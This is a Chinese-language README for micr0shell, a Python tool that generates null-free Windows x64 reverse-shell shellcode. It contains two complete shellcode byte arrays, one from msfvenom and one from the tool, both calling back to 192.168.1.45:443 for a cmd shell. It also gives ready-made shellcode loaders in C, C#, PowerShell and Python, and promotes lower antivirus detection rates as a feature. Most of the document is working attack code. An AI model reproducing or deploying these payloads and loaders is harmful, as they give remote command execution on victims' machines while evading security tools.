senzee1984/micr0_shellmicr0shell 是一个 Python 脚本，用于动态生成 Windows X64 平台下的 PIC 无空字节反向 shell 载荷。
Micr0shell 是一个轻量高效的 Python 脚本，用于动态生成 Windows X64 位置无关代码 (PIC) 免空字节反向 Shell shellcode。根据所选选项，生成的 shellcode 可比 msfvenom 生成的同类 shellcode 小 27 字节，同时避免包含 0x00 字节。此外，由于 MSF 的 shellcode 被广泛使用，更容易被基于签名的检测方法标记，因此 micr0shell 生成的 shellcode 提供了额外的规避能力。
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.45 LPORT=443 -f csharp -v shellcode -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 503 (iteration=0)
x64/xor chosen with final size 503
Payload size: 503 bytes
Final size of csharp file: 2586 bytes
byte[] shellcode = new byte[503] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0x2b,0x1e,0x7f,0x17,0x61,0x58,0xad,0xc4,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xd7,0x56,0xfc,0xf3,0x91,0xb0,
0x6d,0xc4,0x2b,0x1e,0x3e,0x46,0x20,0x08,0xff,0x95,0x7d,0x56,0x4e,0xc5,0x04,
0x10,0x26,0x96,0x4b,0x56,0xf4,0x45,0x79,0x10,0x26,0x96,0x0b,0x56,0xf4,0x65,
0x31,0x10,0xa2,0x73,0x61,0x54,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x22,0x1e,
0x6b,0x63,0x74,0x8d,0x85,0xea,0xd7,0x72,0x56,0x60,0x99,0x4f,0x29,0x79,0x5f,
0x2e,0x5f,0xea,0x0a,0x8d,0x4f,0x69,0x22,0x37,0x16,0xb1,0xd3,0x2d,0x4c,0x2b,
0x1e,0x7f,0x5f,0xe4,0x98,0xd9,0xa3,0x63,0x1f,0xaf,0x47,0xea,0x10,0xb5,0x80,
0xa0,0x5e,0x5f,0x5e,0x60,0x88,0x4e,0x92,0x63,0xe1,0xb6,0x56,0xea,0x6c,0x25,
0x8c,0x2a,0xc8,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x5f,0xbe,0xde,0x6c,0x19,
0xac,0x05,0x13,0xfe,0x0a,0xe6,0x2d,0x5b,0xe1,0xe0,0x23,0x5b,0x46,0xc6,0x14,
0x80,0xf5,0x80,0xa0,0x5e,0x5b,0x5e,0x60,0x88,0xcb,0x85,0xa0,0x12,0x37,0x53,
0xea,0x18,0xb1,0x8d,0x2a,0xce,0x3e,0x9c,0x65,0xd0,0xe5,0xc5,0xfb,0x5f,0x27,
0x56,0x39,0x06,0xf4,0x9e,0x6a,0x46,0x3e,0x4e,0x20,0x02,0xe5,0x47,0xc7,0x3e,
0x3e,0x45,0x9e,0xb8,0xf5,0x85,0x72,0x44,0x37,0x9c,0x73,0xb1,0xfa,0x3b,0xd4,
0xe1,0x22,0x5e,0xdf,0x2f,0xde,0xf6,0x74,0x2d,0x4d,0x17,0x61,0x19,0xfb,0x8d,
0xa2,0xf8,0x37,0x96,0x8d,0xf8,0xac,0xc4,0x2b,0x57,0xf6,0xf2,0x28,0xe4,0xaf,
0xc4,0x2a,0xa5,0xbf,0xbf,0x60,0x75,0xec,0x90,0x62,0x97,0x9b,0x5b,0xe8,0xa9,
0xec,0x7e,0x67,0x69,0x59,0x10,0x9e,0x8d,0xe1,0x4d,0xc1,0x76,0x7e,0x16,0x61,
0x58,0xf4,0x85,0x91,0x37,0xff,0x7c,0x61,0xa7,0x78,0x94,0x7b,0x53,0x4e,0xde,
0x2c,0x69,0x6d,0x8c,0xd4,0xde,0x37,0x9e,0xa3,0x10,0x52,0x04,0x63,0x97,0xbe,
0x56,0xdb,0xb2,0xa2,0x1b,0xcb,0xe1,0xaa,0x5f,0xe8,0x9f,0xc7,0xd4,0x6a,0x46,
0x33,0x9e,0x83,0x10,0x24,0x3d,0x6a,0xa4,0xe6,0xb2,0x15,0x39,0x52,0x11,0x63,
0x9f,0xbb,0x57,0x63,0x58,0xad,0x8d,0x93,0x7d,0x12,0x73,0x61,0x58,0xad,0xc4,
0x2b,0x5f,0x2f,0x56,0x31,0x10,0x24,0x26,0x7c,0x49,0x28,0x5a,0x50,0x98,0xc7,
0xc9,0x72,0x5f,0x2f,0xf5,0x9d,0x3e,0x6a,0x80,0x0f,0x4a,0x7e,0x16,0x29,0xd5,
0xe9,0xe0,0x33,0xd8,0x7f,0x7f,0x29,0xd1,0x4b,0x92,0x7b,0x5f,0x2f,0x56,0x31,
0x19,0xfd,0x8d,0xd4,0xde,0x3e,0x47,0x28,0xa7,0x65,0x89,0xa2,0xdf,0x33,0x9e,
0xa0,0x19,0x17,0xbd,0xe7,0x21,0xf9,0xe8,0xb4,0x10,0x9c,0x16,0x63,0xe1,0xb5,
0x9c,0x6f,0x19,0x17,0xcc,0xac,0x03,0x1f,0xe8,0xb4,0xe3,0x5d,0x71,0x89,0x48,
0x3e,0xad,0xc7,0xcd,0x10,0x59,0xd4,0xcb,0x37,0x94,0xa5,0x70,0x91,0xc2,0x57,
0x14,0xff,0xec,0x81,0x2d,0xa8,0x7f,0x6c,0x0d,0x0d,0x78,0x0b,0x58,0xf4,0x85,
0xa2,0xc4,0x80,0xc2,0x61,0x58,0xad,0xc4 };
我在 x86 shellcode 开发方面的技能是通过 Offensive Security Exploit Developer (OSED) 课程获得的，这门课让我特别着迷。在此之前，shellcode 开发对我来说似乎是一个神秘的领域，但我很快意识到它在实现特定目标方面提供了多大的灵活性。考虑到 x64 shellcoding 在当今环境中更为相关且被广泛使用，我将所学知识应用于开发这个动态且方便的 Windows x64 反向 Shell shellcode 生成脚本。
要从 Python 脚本中的 x64 汇编指令生成 shellcode，需要 keystone 引擎依赖项。使用 pip 安装 Keystone Engine：
pip install keystone-engine
用户可以灵活地指定各种参数：IP 地址、监听端口、变量名、shellcode 格式（可选 C、CSharp、Python 和 PowerShell）、Shell 类型（PowerShell 或 CMD）、是否将生成的 shellcode 保存 到文件，以及是否 执行 生成的 shellcode（True/False）。
└─# python3 micr0shell.py
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Author: Senzee
Github Repository: https://github.com/senzee1984/micr0_shell
Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode
Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255
usage: micr0shell.py [-h] --ip IP [--port PORT] [--language LAN] [--variable VAR] [--type SHELL_TYPE] [--execution CODE_EXEC] [--save SAVE]
[--output OUTPUT]
micr0shell.py: error: the following arguments are required: --ip/-i
只需指定 IP 地址 即可使 shellcode 正常工作。默认端口值为 443，默认变量名为 buf，默认语言为 python，默认 Shell 类型为 cmd.exe。
用户可以选择在此 Python 脚本中执行生成的 shellcode，也可以将生成的 shellcode 保存为二进制文件。默认情况下，生成的 shellcode 不会被执行 且 不会保存 到文件中。
下面提供了几种常见语言的简易 shellcode 加载器，方便测试生成的 shellcode。
但是，如果您对评估规避能力感兴趣，请注意，以下 shellcode 加载器本身也可能被检测到。对于更高级的规避技术，您可以探索其他 shellcode 加载器，这超出了本 README 文档的范围。
#include "windows.h"
#include "stdlib.h"
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0......}; // SHELLCODE HERE
int main()
{
int length = sizeof(shellcode);
void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec, shellcode, length);
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}
using System;
using System.Runtime.InteropServices;
namespace runner
{
public class runner
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void Main(String[] args)
{
byte[] buffer= new byte[479] {0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48......}; // SHELLCODE HERE
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
}
}
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]:https://raw.githubusercontent.com/senzee1984/micr0_shell/main/:Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = <SHELLCODE HERE>
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
import ctypes, struct
buf = b"\x48\x31\...." # SHELLCODE HERE
buf=bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(buf)).from_buffer(buf)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(buf)))
print("Shellcode located at address %s" % hex(ptr))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
根据提供的 IP 地址、端口 和 Shell 类型，micr0shell 动态生成免空字节的 shellcode。虽然我已经考虑了可能引入空字节的大多数常见场景，但需要注意的是，如果提供的 IP 地址同时包含 .255 和 .0（例如 192.168.0.255），生成的 shellcode 将包含空字节。虽然这类 IP 地址在实践中相对罕见，但要为所有可能的 IP 地址消除空字节会大大增加复杂性。因此，我目前没有计划解决这个问题。
关于端口值，理论上不应有任何端口产生空字节。但由于消除空字节的实现方式，端口 65280 不可用。
在 Windows 11 上，双击 运行 shellcode 加载器程序/脚本会导致 Shell 会话快速退出。但如果你通过 CMD 或 PowerShell 启动它，Shell 会话将会保持活动状态，直到你与服务器断开连接。此问题目前正在调查中，似乎与 shellcode 本身有关。我会尽快找到解决方法。
Shellcode 签名规避能力测试，示例文件于 2023 年 8 月上传至 VirusTotal。
分别使用 msfvenom 和 micr0shell 生成原始二进制文件并上传。msfvenom 生成两个样本，一个包含 0x00，另一个是免空字节的。对比如下：
截至 2023/8/13，micr0shell 生成的原始 shellcode 二进制文件未被签名检测。
分别使用 msfvenom 和 micr0shell 生成 shellcode 字节数组，并分别嵌入到用 C 编写的简易 shellcode 加载器中。msfvenom 生成两个 shellcode，一个包含 0x00，另一个是免空字节的。对比如下：
截至 2023/8/23，包含 micr0shell 生成的 shellcode 的加载器检测率低得多。值得一提的是，即使 shellcode 是无害的，简单的 shellcode 加载器本身也会被签名检测。
─# python3 micr0shell.py --ip 192.168.1.45 --port 443 --type cmd --language c --variable shellcode --execution false --save True --output buf.bin
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Author: Senzee
Github Repository: https://github.com/senzee1984/micr0_shell
Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode
Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255
[+]Shellcode Settings:
******** IP Address: 192.168.1.45
******** Listening Port: 443
******** Language of desired shellcode runner: c
******** Shellcode array variable name: shellcode
******** Shell: cmd
******** Shellcode Execution: false
******** Save Shellcode to file: true
[+]Payload size: 476 bytes
[+]Shellcode format for C
unsigned char shellcode[]={
0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x70,0x18,0x48,0x8b,0x76,0x30,0x4c,0x8b,0x0e,0x4d,
0x8b,0x09,0x4d,0x8b,0x49,0x10,0xeb,0x63,0x41,0x8b,0x49,0x3c,0x4d,0x31,0xff,0x41,0xb7,0x88,0x4d,0x01,
0xcf,0x49,0x01,0xcf,0x45,0x8b,0x3f,0x4d,0x01,0xcf,0x41,0x8b,0x4f,0x18,0x45,0x8b,0x77,0x20,0x4d,0x01,
0xce,0xe3,0x3f,0xff,0xc9,0x48,0x31,0xf6,0x41,0x8b,0x34,0x8e,0x4c,0x01,0xce,0x48,0x31,0xc0,0x48,0x31,
0xd2,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x44,0x39,0xc2,0x75,0xda,0x45,
0x8b,0x57,0x24,0x4d,0x01,0xca,0x41,0x0f,0xb7,0x0c,0x4a,0x45,0x8b,0x5f,0x1c,0x4d,0x01,0xcb,0x41,0x8b,
0x04,0x8b,0x4c,0x01,0xc8,0xc3,0xc3,0x4c,0x89,0xcd,0x41,0xb8,0x8e,0x4e,0x0e,0xec,0xe8,0x8f,0xff,0xff,
0xff,0x49,0x89,0xc4,0x48,0x31,0xc0,0x66,0xb8,0x6c,0x6c,0x50,0x48,0xb8,0x57,0x53,0x32,0x5f,0x33,0x32,
0x2e,0x64,0x50,0x48,0x89,0xe1,0x48,0x83,0xec,0x20,0x4c,0x89,0xe0,0xff,0xd0,0x48,0x83,0xc4,0x20,0x49,
0x89,0xc6,0x49,0x89,0xc1,0x41,0xb8,0xcb,0xed,0xfc,0x3b,0x4c,0x89,0xcb,0xe8,0x55,0xff,0xff,0xff,0x48,
0x31,0xc9,0x66,0xb9,0x98,0x01,0x48,0x29,0xcc,0x48,0x8d,0x14,0x24,0x66,0xb9,0x02,0x02,0x48,0x83,0xec,
0x30,0xff,0xd0,0x48,0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0xd9,0x09,0xf5,0xad,0xe8,0x2b,0xff,0xff,
0xff,0x48,0x83,0xec,0x30,0x48,0x31,0xc9,0xb1,0x02,0x48,0x31,0xd2,0xb2,0x01,0x4d,0x31,0xc0,0x41,0xb0,
0x06,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,0x24,0x28,0xff,0xd0,0x49,0x89,0xc4,0x48,
0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0x0c,0xba,0x2d,0xb3,0xe8,0xf3,0xfe,0xff,0xff,0x48,0x83,0xec,
0x20,0x4c,0x89,0xe1,0x48,0x31,0xd2,0xb2,0x02,0x48,0x89,0x14,0x24,0x48,0x31,0xd2,0x66,0xba,0x01,0xbb,
0x48,0x89,0x54,0x24,0x02,0xba,0xc0,0xa8,0x01,0x2d,0x48,0x89,0x54,0x24,0x04,0x48,0x8d,0x14,0x24,0x4d,
0x31,0xc0,0x41,0xb0,0x16,0x4d,0x31,0xc9,0x48,0x83,0xec,0x38,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,
0x24,0x28,0x4c,0x89,0x4c,0x24,0x30,0xff,0xd0,0x48,0x83,0xc4,0x38,0x49,0x89,0xe9,0x41,0xb8,0x72,0xfe,
0xb3,0x16,0xe8,0x99,0xfe,0xff,0xff,0x48,0xba,0x9c,0x92,0x9b,0xd1,0x9a,0x87,0x9a,0xff,0x48,0xf7,0xd2,
0x52,0x48,0x89,0xe2,0x41,0x54,0x41,0x54,0x41,0x54,0x48,0x31,0xc9,0x66,0x51,0x51,0x51,0xb1,0xff,0x66,
0xff,0xc1,0x66,0x51,0x48,0x31,0xc9,0x66,0x51,0x66,0x51,0x51,0x51,0x51,0x51,0x51,0x51,0xb1,0x68,0x51,
0x48,0x89,0xe7,0x48,0x89,0xe1,0x48,0x83,0xe9,0x20,0x51,0x57,0x48,0x31,0xc9,0x51,0x51,0x51,0x48,0xff,
0xc1,0x51,0xfe,0xc9,0x51,0x51,0x51,0x51,0x49,0x89,0xc8,0x49,0x89,0xc9,0xff,0xd0};
Generated shellcode successfully saved in file buf.bin